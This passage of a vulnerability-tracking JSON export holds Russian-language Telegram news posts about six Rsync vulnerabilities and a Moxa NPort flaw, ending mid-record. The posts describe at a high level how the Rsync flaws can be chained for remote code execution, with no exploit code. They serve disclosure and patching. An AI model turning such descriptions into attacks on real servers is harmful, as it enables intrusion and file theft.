\u041a\u043e\u043e\u0440\u0434\u0438\u043d\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0433\u043e \u0446\u0435\u043d\u0442\u0440\u0430 CERT (CERT/CC). \u2013 \u041a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a \u043a\u043b\u044e\u0447\u0438 SSH, \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u044b, \u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u043f\u0443\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a ~/.bashrc \u0438\u043b\u0438 ~/.popt\u00bb.\n\n\u0420\u0435\u0447\u044c \u0438\u0434\u0435\u0442 \u043e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445:\n\n- CVE-2024-12084 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9,8) - \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438 \u0432 Rsync \u0438\u0437-\u0437\u0430 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b, \u0440\u0430\u0437\u043c\u0435\u0440 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u0440\u0435\u0432\u044b\u0448\u0430\u0435\u0442 16 \u0431\u0430\u0439\u0442.\n\n- CVE-2024-12085 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 7,5) - \u0443\u0442\u0435\u0447\u043a\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430;\n\n- CVE-2024-12086 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 6,1) - \u0443\u0442\u0435\u0447\u043a\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 Rsync;\n\n- CVE-2024-12087 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 6,5) - \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438 \u0432 Rsync;\n\n- CVE-2024-12088 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 6,5) - \u043e\u0431\u0445\u043e\u0434 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 --safe-links \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043e\u0431\u0445\u043e\u0434\u0443 \u043f\u0443\u0442\u0438;\n\n- CVE-2024-12747 (\u041e\u0446\u0435\u043d\u043a\u0430 CVSS: 5,6) - c\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 \u0432 Rsync \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a.\n\n\u041e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u0442\u044c CVE-2024-12084 \u0438 CVE-2024-12085, \u0447\u0442\u043e\u0431\u044b \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0437\u0430\u043f\u0443\u0449\u0435\u043d \u0441\u0435\u0440\u0432\u0435\u0440 Rsync. \u0414\u043b\u044f \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a\u0438 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 Rsync \u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0430\u0442\u0430\u043a\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0430 \u043d\u0430 \u0437\u0435\u0440\u043a\u0430\u043b\u0430 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u043e\u0432 \u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u0432, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0445 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0441\u0431\u043e\u0440\u043e\u043a \u0447\u0435\u0440\u0435\u0437 Rsync. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 Rsync \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0431\u044d\u043a\u0435\u043d\u0434\u0430, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a BackupPC, DeltaCopy \u0438 ChronoSync.\n\n\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 Rsync 3.4.0. \u0412 \u043d\u0435\u0439 \u0434\u043b\u044f \u0443\u043f\u0440\u043e\u0449\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u043d\u043e\u043c\u0435\u0440 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 \u043f\u043e\u0432\u044b\u0448\u0435\u043d \u0434\u043e 32.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://kb.cert.org/vuls/id/952657 \n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438", "creation_timestamp": "2026-07-26T02:02:00.066974Z"}, {"uuid": "cae95d7d-8e30-42fd-bce8-96cfd59ea407", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12086", "type": "seen", "source": "https://t.me/EchelonEyes/3541", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 Rsync \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u0435\n\n\u0412 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 Rsync \u0434\u043b\u044f \u0441\u0438\u0441\u0442\u0435\u043c Unix \u0431\u044b\u043b\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e \u0448\u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0435. \u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Google Cloud Vulnerability Research, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0448\u0438\u0445 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044e, \u0431\u043e\u043b\u0435\u0435 660 000 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Rsync \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u043b\u0438\u0441\u044c \u0430\u0442\u0430\u043a\u0430\u043c.\n\n\u00ab\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u0437\u044f\u0442\u044c \u043f\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u0438 \u0447\u0438\u0442\u0430\u0442\u044c/\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043b\u044e\u0431\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430, \u2014 \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f \u0432 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0438 \u041a\u043e\u043e\u0440\u0434\u0438\u043d\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0433\u043e \u0446\u0435\u043d\u0442\u0440\u0430 CERT (CERT/CC). \u2013 \u041a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a \u043a\u043b\u044e\u0447\u0438 SSH, \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u044b, \u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u043f\u0443\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a ~/.bashrc \u0438\u043b\u0438 ~/.popt\u00bb.\n\n\u0420\u0435\u0447\u044c \u0438\u0434\u0435\u0442 \u043e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445:\n\n- CVE-2024-12084 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9,8) - \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438 \u0432 Rsync \u0438\u0437-\u0437\u0430 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b, \u0440\u0430\u0437\u043c\u0435\u0440 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043f\u0440\u0435\u0432\u044b\u0448\u0430\u0435\u0442 16 \u0431\u0430\u0439\u0442.\n\n- CVE-2024-12085 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 7,5) - \u0443\u0442\u0435\u0447\u043a\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0441\u0442\u0435\u043a\u0430;\n\n- CVE-2024-12086 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 6,1) - \u0443\u0442\u0435\u0447\u043a\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 Rsync;\n\n- CVE-2024-12087 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 6,5) - \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438 \u0432 Rsync;\n\n- CVE-2024-12088 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 6,5) - \u043e\u0431\u0445\u043e\u0434 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 --safe-links \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043e\u0431\u0445\u043e\u0434\u0443 \u043f\u0443\u0442\u0438;\n\n- CVE-2024-12747 (\u041e\u0446\u0435\u043d\u043a\u0430 CVSS: 5,6) - c\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 \u0432 Rsync \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a.\n\n\u041e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0438\u0442\u044c CVE-2024-12084 \u0438 CVE-2024-12085, \u0447\u0442\u043e\u0431\u044b \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0437\u0430\u043f\u0443\u0449\u0435\u043d \u0441\u0435\u0440\u0432\u0435\u0440 Rsync. \u0414\u043b\u044f \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a\u0438 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 Rsync \u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0430\u0442\u0430\u043a\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u0430 \u043d\u0430 \u0437\u0435\u0440\u043a\u0430\u043b\u0430 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u043e\u0432 \u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u0432, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0445 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0441\u0431\u043e\u0440\u043e\u043a \u0447\u0435\u0440\u0435\u0437 Rsync. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 Rsync \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0431\u044d\u043a\u0435\u043d\u0434\u0430, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a BackupPC, DeltaCopy \u0438 ChronoSync.\n\n\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 Rsync 3.4.0. \u0412 \u043d\u0435\u0439 \u0434\u043b\u044f \u0443\u043f\u0440\u043e\u0449\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u043d\u043e\u043c\u0435\u0440 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 \u043f\u043e\u0432\u044b\u0448\u0435\u043d \u0434\u043e 32.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://kb.cert.org/vuls/id/952657 \n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438", "creation_timestamp": "2026-07-26T02:02:00.119289Z"}, {"uuid": "a83b21bb-7f9c-42d8-b10e-72b82e4cf632", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1220", "type": "seen", "source": "https://t.me/Positive_Technologies/2462", "content": "\u26a1 \u0411\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u0438\u0437\u0435 Positive Technologies \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Moxa \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u0445 \u0431\u0435\u0441\u043f\u0440\u043e\u0432\u043e\u0434\u043d\u044b\u0445 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u0445\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u043d\u0430\u0448\u0438\u043c \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u043e\u043c \u0432 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u0445 NPort W2150A \u0438 W2250A \u2014 \u044d\u0442\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u043a \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0442\u0438 Wi-Fi \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u0435 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u044b, \u0441\u0447\u0435\u0442\u0447\u0438\u043a\u0438 \u0438 \u0434\u0430\u0442\u0447\u0438\u043a\u0438. \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Moxa \u0431\u044b\u043b\u0430 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0430 \u043e\u0431 \u0443\u0433\u0440\u043e\u0437\u0435 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0438 \u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u044f \u0438 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u041f\u041e.\n\n\ud83e\udd77 \u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0433 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u044d\u0442\u043e\u043c\u0443 \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u044e. \u00ab\u0414\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0431\u044b\u043b\u043e \u0431\u044b \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043e\u0434\u043d\u043e\u0433\u043e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0437\u0430\u043f\u0440\u043e\u0441\u0430. \u041a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u044f \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0441\u043c\u043e\u0433 \u0431\u044b \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043d\u0430 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u044b\u0435 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u0435 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u044b \u0438 \u0434\u0440\u0443\u0433\u043e\u0435 \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u0435, \u0447\u0442\u043e \u0431\u044b\u043b\u043e \u0431\u044b \u0447\u0440\u0435\u0432\u0430\u0442\u043e \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u0435\u043c \u0438\u043b\u0438 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435\u043c \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430\u00bb, \u2014 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u0430\u043b \u0412\u043b\u0430\u0434\u0438\u043c\u0438\u0440 \u0420\u0430\u0437\u043e\u0432, \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442 \u0433\u0440\u0443\u043f\u043f\u044b \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 Positive Technologies.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2024-1220 (BDU:2024-01811) \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u043e\u0446\u0435\u043d\u043a\u0443 8,2 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS v3.1, \u0447\u0442\u043e \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0432\u044b\u0441\u043e\u043a\u043e\u043c\u0443 \u0443\u0440\u043e\u0432\u043d\u044e \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \u0414\u043b\u044f \u0435\u0435 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043d\u043e\u0432\u0435\u0439\u0448\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438.\n\n\ud83d\udca1 \u041f\u043e\u0434\u043e\u0431\u043d\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0433\u043b\u0438 \u0431\u044b 